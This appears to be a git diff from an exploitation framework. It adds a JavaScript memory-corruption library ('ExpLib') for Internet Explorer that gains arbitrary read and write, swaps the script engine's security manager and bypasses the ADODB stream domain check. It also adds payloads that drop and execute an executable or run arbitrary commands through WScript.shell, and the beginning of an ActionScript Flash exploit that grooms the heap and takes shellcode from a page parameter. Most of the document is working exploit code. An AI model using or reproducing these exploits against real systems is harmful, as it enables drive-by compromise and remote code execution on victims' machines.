ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055
|
||||
0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400
|
||||
730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000
|
||||
050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000
|
||||
0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000
|
||||
26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000
|
||||
00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe
|
||||
ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000
|
||||
0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400
|
||||
00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}}
|
Binary file not shown.
|
@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () {
|
|||
return found;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Adobe Flash version
|
||||
**/
|
||||
window.misc_addons_detect.getFlashVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// Gets the Flash version by using the GetVariable function via ActiveX
|
||||
//
|
||||
try {
|
||||
var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
|
||||
foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
|
||||
} catch (e) {}
|
||||
|
||||
//
|
||||
// This should work fine for most non-IE browsers
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var pluginDesc = mimes[i].enabledPlugin.description.toString();
|
||||
var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
|
||||
if (m != null) {
|
||||
foundVersion = m[0].match(/\d.+/g)[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Detection for Windows + Firefox
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
|
|
|
@ -0,0 +1,426 @@
|
|||
|
||||
|
||||
ExpLib = (function() {
|
||||
|
||||
function ExpLib( num_arrays, arr_size, base, payload ) {
|
||||
this.arr1 = null;
|
||||
this.arr2 = null;
|
||||
this.base = base;
|
||||
this.arr_size = arr_size;
|
||||
this.arr_arr = null;
|
||||
// Allows to control the contents of the sprayed memory.
|
||||
// Have into account some array positions will be corrupted
|
||||
// while leaking and modifying things.
|
||||
this.arr_contents = [];
|
||||
|
||||
this.payload = payload;
|
||||
this.modules = {}
|
||||
this.getproc = null;
|
||||
this.loadlibrary = null;
|
||||
|
||||
// Offset to the Origin URL in the Stream, modifying it
|
||||
// allows to bypass msado15.SecurityCheck(), allowing
|
||||
// for example to write stream contents to filesystem.
|
||||
this.stream_origin = 0x44;
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
||||
var module = this.resolveModule( modulename );
|
||||
|
||||
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveModule = function( modulename ) {
|
||||
if ( this.modules[modulename] )
|
||||
return this.modules[modulename];
|
||||
|
||||
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
||||
this.modules[modulename] = module;
|
||||
return module;
|
||||
}
|
||||
|
||||
ExpLib.prototype.spray = function() {
|
||||
this.arr_arr = new Array( num_arrays );
|
||||
|
||||
var decl = "[";
|
||||
|
||||
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
||||
decl += '0,';
|
||||
}
|
||||
|
||||
decl += '0';
|
||||
decl += ']';
|
||||
|
||||
for ( var i = 0; i < num_arrays; ++ i ) {
|
||||
this.arr_arr[i] = eval(decl);
|
||||
for(var j = 0; j < this.arr_contents.length; j++) {
|
||||
this.arr_arr[i][j] = this.arr_contents[j];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Should be used before calling spray()
|
||||
ExpLib.prototype.setArrContents = function(contents) {
|
||||
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
||||
this.arr_contents[i] = contents[i];
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.setValue = function(i1, i2, v) {
|
||||
this.arr_arr[i1][i2] = v;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
||||
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
||||
}
|
||||
|
||||
ExpLib.prototype.read32 = function(addr) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
return this.arr2[(addr - this.arr2_member_base)/4];
|
||||
} else {
|
||||
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.write32 = function(addr, value) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( value >= 0x80000000 )
|
||||
value = -(0x100000000 - value);
|
||||
|
||||
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
||||
} else {
|
||||
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.read8 = function(addr) {
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xff);
|
||||
case 1: return ((value >> 8) & 0xff);
|
||||
case 2: return ((value >> 16) & 0xff);
|
||||
case 3: return ((value >> 24) & 0xff);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.write8 = function(addr, value) {
|
||||
var original_value = this.read32( addr & 0xfffffffc );
|
||||
var new_value;
|
||||
|
||||
switch ( addr % 4 ) {
|
||||
case 0:
|
||||
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
||||
break;
|
||||
|
||||
case 1:
|
||||
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
||||
break;
|
||||
case 2:
|
||||
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
||||
break;
|
||||
case 3:
|
||||
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
this.write32( addr & 0xfffffffc, new_value );
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
||||
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
||||
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
||||
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
||||
|
||||
this.write32( addr + i, value );
|
||||
}
|
||||
|
||||
for ( ; i < bytes.length; ++ i ) {
|
||||
this.write8( addr + i, bytes[i] );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeString = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++ i ) {
|
||||
bytes[i] = s.charCodeAt(i);
|
||||
}
|
||||
|
||||
bytes[i] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeStringW = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++i ) {
|
||||
bytes[i * 2] = s.charCodeAt(i);
|
||||
bytes[i * 2 + 1] = 0;
|
||||
}
|
||||
|
||||
bytes[s.length * 2] = 0;
|
||||
bytes[s.length * 2 + 1] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.read16 = function(addr) {
|
||||
if ( addr % 2 ) {
|
||||
// error, not aligned
|
||||
}
|
||||
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xffff);
|
||||
case 1: return ((value >> 8) & 0xffff);
|
||||
case 2: return ((value >> 16) & 0xffff);
|
||||
case 3: /*not supported*/ break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.strequal = function(addr, s) {
|
||||
for ( var i = 0; i < s.length; ++ i ) {
|
||||
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBase = function(addr) {
|
||||
|
||||
var cur_addr = addr;
|
||||
|
||||
while ( cur_addr > 0 ) {
|
||||
|
||||
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
||||
return cur_addr;
|
||||
}
|
||||
|
||||
cur_addr -= 0x10000;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
||||
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
||||
var cur_table = import_table;
|
||||
|
||||
while ( cur_table < import_table + 0x1000 ) {
|
||||
|
||||
var name_addr = base + this.read32(cur_table + 12);
|
||||
if ( this.strequal( name_addr, name ) ) {
|
||||
var iat = base + this.read32(cur_table + 16);
|
||||
var func = this.read32(iat);
|
||||
while ( 0 == func ) {
|
||||
iat += 4;
|
||||
func = this.read32(iat);
|
||||
}
|
||||
|
||||
return this.getModuleBase( func & 0xFFFF0000 );
|
||||
|
||||
}
|
||||
|
||||
cur_table += 20;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getProcAddress = function(base, procname) {
|
||||
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
||||
var num_functions = this.read32( export_table + 20 );
|
||||
var addr_functions = base + this.read32( export_table + 28 );
|
||||
var addr_names = base + this.read32( export_table + 32 );
|
||||
var addr_ordinals = base + this.read32( export_table + 36 );
|
||||
|
||||
for ( var i = 0; i < num_functions; ++ i ) {
|
||||
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
||||
if ( this.strequal( name_addr, procname ) ) {
|
||||
var ordinal = this.read16( addr_ordinals + i * 2 );
|
||||
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
||||
|
||||
if ( start >= end || start + pattern.length > end )
|
||||
return 0;
|
||||
|
||||
var pos = start;
|
||||
while ( pos < end ) {
|
||||
for ( var i = 0; i < pattern.length; ++ i ) {
|
||||
if ( this.read8(pos + i) != pattern[i] )
|
||||
break;
|
||||
}
|
||||
|
||||
if ( i == pattern.length ) {
|
||||
return pos;
|
||||
}
|
||||
|
||||
++ pos;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getError = function(msg) {
|
||||
return this.err_msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setError = function(msg) {
|
||||
this.err_msg = msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setStreamOrigin = function(offset) {
|
||||
this.stream_origin = offset;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getStreamOrigin = function() {
|
||||
return this.stream_origin;
|
||||
}
|
||||
|
||||
ExpLib.prototype.memcpy = function(dst, src, size) {
|
||||
var i = 0;
|
||||
for ( ; i < size - 4; i += 4 ) {
|
||||
this.write32( dst + i, this.read32(src + i) );
|
||||
}
|
||||
|
||||
for ( ; i < size; ++ i ) {
|
||||
this.write8( dst + i, this.read8(src + i) );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.go = function() {
|
||||
|
||||
var i = 0;
|
||||
|
||||
|
||||
|
||||
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
||||
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
||||
|
||||
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
||||
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
||||
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
||||
|
||||
this.arr_arr[i + 1].length = 0x3fffffff;
|
||||
|
||||
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if ( i >= this.arr_arr.length - 1 ) {
|
||||
this.setError( "Cannot find array with corrupt length!" );
|
||||
return false;
|
||||
}
|
||||
|
||||
this.arr1_idx = i;
|
||||
this.arr2_idx = i + 1;
|
||||
|
||||
this.arr1 = this.arr_arr[i];
|
||||
this.arr2 = this.arr_arr[i + 1];
|
||||
|
||||
this.arr2_base = this.base + 0x1000;
|
||||
this.arr2_member_base = this.arr2_base + 0x20;
|
||||
|
||||
var func_addr = this.leakAddress(ActiveXObject);
|
||||
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
||||
|
||||
//alert(script_engine_addr.toString(16));
|
||||
|
||||
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
if ( !original_securitymanager ) {
|
||||
// let security manager to be valid
|
||||
try {
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
} catch (e) {}
|
||||
|
||||
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
}
|
||||
|
||||
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
||||
var securitymanager_size = 0x28;
|
||||
var fake_securitymanager = 0x1a1b2010;
|
||||
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
||||
//alert(original_securitymanager.toString(16));
|
||||
|
||||
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
||||
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
||||
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
||||
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
||||
|
||||
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
||||
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
||||
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
||||
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x14,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x10,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
||||
|
||||
this.payload.execute(this);
|
||||
|
||||
|
||||
/*
|
||||
* restore
|
||||
*/
|
||||
|
||||
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
ExpLib.prototype.leakAddress = function(obj) {
|
||||
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
||||
return this.read32(this.arr2_member_base + 0x1008);
|
||||
}
|
||||
|
||||
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
||||
var obj = this.leakAddress(stream);
|
||||
var stream_obj = this.read32(obj + 0x30);
|
||||
//var url_addr = this.read32(stream_obj + 0x3c);
|
||||
var url_addr = this.read32(stream_obj + this.stream_origin);
|
||||
|
||||
/*
|
||||
* bypass domain check
|
||||
*/
|
||||
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
||||
}
|
||||
|
||||
return ExpLib;
|
||||
|
||||
})();
|
|
@ -0,0 +1,33 @@
|
|||
function payload_drop_exec(pe) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
|
||||
var filename = temp + "\\a.exe";
|
||||
|
||||
var bStream = new ActiveXObject("ADODB.Stream");
|
||||
var txtStream = new ActiveXObject("ADODB.Stream");
|
||||
bStream.Type = 1;
|
||||
txtStream.Type = 2;
|
||||
|
||||
bStream.Open();
|
||||
txtStream.Open();
|
||||
|
||||
explib.switchStreamOrigin(txtStream);
|
||||
|
||||
txtStream.WriteText(pe);
|
||||
txtStream.Position = 2;
|
||||
txtStream.CopyTo( bStream );
|
||||
txtStream.Close();
|
||||
|
||||
explib.switchStreamOrigin(bStream);
|
||||
|
||||
bStream.SaveToFile(filename, 2);
|
||||
bStream.Close();
|
||||
|
||||
oExec = WshShell.Exec(filename);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
function payload_exec(cmd) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var oExec = WshShell.Exec(cmd);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,126 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {
|
||||
:format => 'PDF'
|
||||
}
|
||||
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
|
||||
parser.separator('Report Options:')
|
||||
parser.on("--format FORMAT") do |v|
|
||||
opts[:format] = v.upcase
|
||||
end
|
||||
|
||||
parser.on("--project PROJECT") do |v|
|
||||
opts[:project] = v
|
||||
end
|
||||
|
||||
parser.on("--output OUTFILE") do |v|
|
||||
opts[:output] = v
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
parser.separator('')
|
||||
|
||||
parser.parse!(ARGV)
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
project = opts[:project] || usage(parser)
|
||||
fname = opts[:output] || usage(parser)
|
||||
rtype = opts[:format]
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
task = @rpc.call("pro.start_report", {
|
||||
'DS_WHITELIST_HOSTS' => "",
|
||||
'DS_BLACKLIST_HOSTS' => "",
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_MaskPasswords' => false,
|
||||
'DS_IncludeTaskLog' => false,
|
||||
'DS_JasperDisplaySession' => true,
|
||||
'DS_JasperDisplayCharts' => true,
|
||||
'DS_LootExcludeScreenshots' => false,
|
||||
'DS_LootExcludePasswords' => false,
|
||||
'DS_JasperTemplate' => "msfxv3.jrxml",
|
||||
'DS_REPORT_TYPE' => rtype.upcase,
|
||||
'DS_UseJasper' => true,
|
||||
'DS_UseCustomReporting' => true,
|
||||
'DS_JasperProductName' => "Metasploit Pro",
|
||||
'DS_JasperDbEnv' => "production",
|
||||
'DS_JasperLogo' => '',
|
||||
'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8",
|
||||
'DS_EnablePCIReport' => true,
|
||||
'DS_EnableFISMAReport' => true,
|
||||
'DS_JasperDisplayWeb' => true,
|
||||
})
|
||||
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error generating the report: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Report is generating with Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
report = @rpc.call('pro.report_download_by_task', task['task_id'])
|
||||
if report and report['data']
|
||||
::File.open(fname, "wb") do |fd|
|
||||
fd.write(report['data'])
|
||||
end
|
||||
$stderr.puts "[-] Report saved to #{::File.expand_path(fname)}"
|
||||
else
|
||||
$stderr.puts "[-] Error downloading report: #{report.inspect}"
|
||||
end
|
||||
|
|
@ -0,0 +1,545 @@
|
|||
// Compile with: mxmlc exploit.as -o exploit.swf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.media.Sound;
|
||||
import flash.utils.ByteArray;
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.Capabilities;
|
||||
import flash.utils.Endian;
|
||||
import __AS3__.vec.*;
|
||||
import flash.utils.*;
|
||||
import flash.display.*;
|
||||
import flash.media.*;
|
||||
import flash.system.*;
|
||||
import flash.external.*;
|
||||
import flash.net.*;
|
||||
|
||||
public class exploit extends Sprite
|
||||
{
|
||||
public var flash_version:Number;
|
||||
public var sound_object:Sound;
|
||||
public var byte_array:ByteArray;
|
||||
public var massaged_memory:Vector.<Object>;
|
||||
public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
|
||||
public var TweakedVector:Vector.<Number>;
|
||||
public var TweakedVector_address:uint;
|
||||
public var sound_address:uint;
|
||||
public var sound_address_vtable:uint;
|
||||
public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
|
||||
public var byte_array_data_address:uint;
|
||||
public var ntdll_base:uint;
|
||||
public var ntdll_pe_file_header:uint;
|
||||
public var stack_pivot:uint;
|
||||
public var virtual_alloc_address:uint;
|
||||
public var last_leaked_address:uint;
|
||||
public var last_leak:Vector.<uint>;
|
||||
|
||||
public function exploit():void
|
||||
{
|
||||
this.sound_object = new Sound();
|
||||
this.byte_array = new ByteArray();
|
||||
this.massaged_memory = new Vector.<Object>(0);
|
||||
this.last_leak = new Vector.<uint>(2);
|
||||
super();
|
||||
var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
|
||||
var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
|
||||
if (shellcode == null){
|
||||
return;
|
||||
};
|
||||
if (!this.CheckVersion()){
|
||||
return;
|
||||
};
|
||||
this.ExploitIt(shellcode);
|
||||
this.Restore();
|
||||
}
|
||||
|
||||
public function CheckVersion():Boolean
|
||||
{
|
||||
var capabilities:* = Capabilities.version.toLowerCase().split(" ");
|
||||
if (capabilities[0] != "win"){
|
||||
return (false);
|
||||
};
|
||||
this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
|
||||
if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
|
||||
return (false);
|
||||
};
|
||||
return (true);
|
||||
}
|
||||
|
||||
public function PrepareMemoryAndOverflow():RegExp
|
||||
{
|
||||
var index:uint;
|
||||
var tmp_vector:Vector.<Object>;
|
||||
index = 0;
|
||||
|
||||
while (index < 0x4000) {
|
||||
tmp_vector = new Vector.<Object>(16);
|
||||
tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
|
||||
tmp_vector[1] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[2] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[3] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[4] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[5] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[6] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[7] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[8] = this.CreateVectorSixteenNumbers();
|
||||
tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
|
||||
tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
|
||||
this.massaged_memory[index] = tmp_vector;
|
||||
index++;
|
||||
};
|
||||
index = 0x2000;
|
||||
|
||||
// Make some holes
|
||||
while (index < 0x3fff) {
|
||||
if ((index % 2) != 0){
|
||||
this.massaged_memory[index][2] = null;
|
||||
};
|
||||
index++;
|
||||
};
|
||||
|
||||
// Hopefully reuse a hole and overflow a tmp_vector[3] field
|
||||
return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
|
||||
}
|
||||
|
||||
public function SearchOverflowedTweakAndRestore():Boolean
|
||||
{
|
||||
var index:uint;
|
||||
var numbers_vector_index:uint;
|
||||
var overflowed_vector:Vector.<Number>;
|
||||
var fingerprint:Number;
|
||||
index = 0;
|
||||
_loop_1:
|
||||
while (index < 0x4000) {
|
||||
numbers_vector_index = 1;
|
||||
while (numbers_vector_index < 9) {
|
||||
try {
|
||||
// If the length is bigger than 17, the vector's length has been overflowed
|
||||
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
|
||||
overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
|
||||
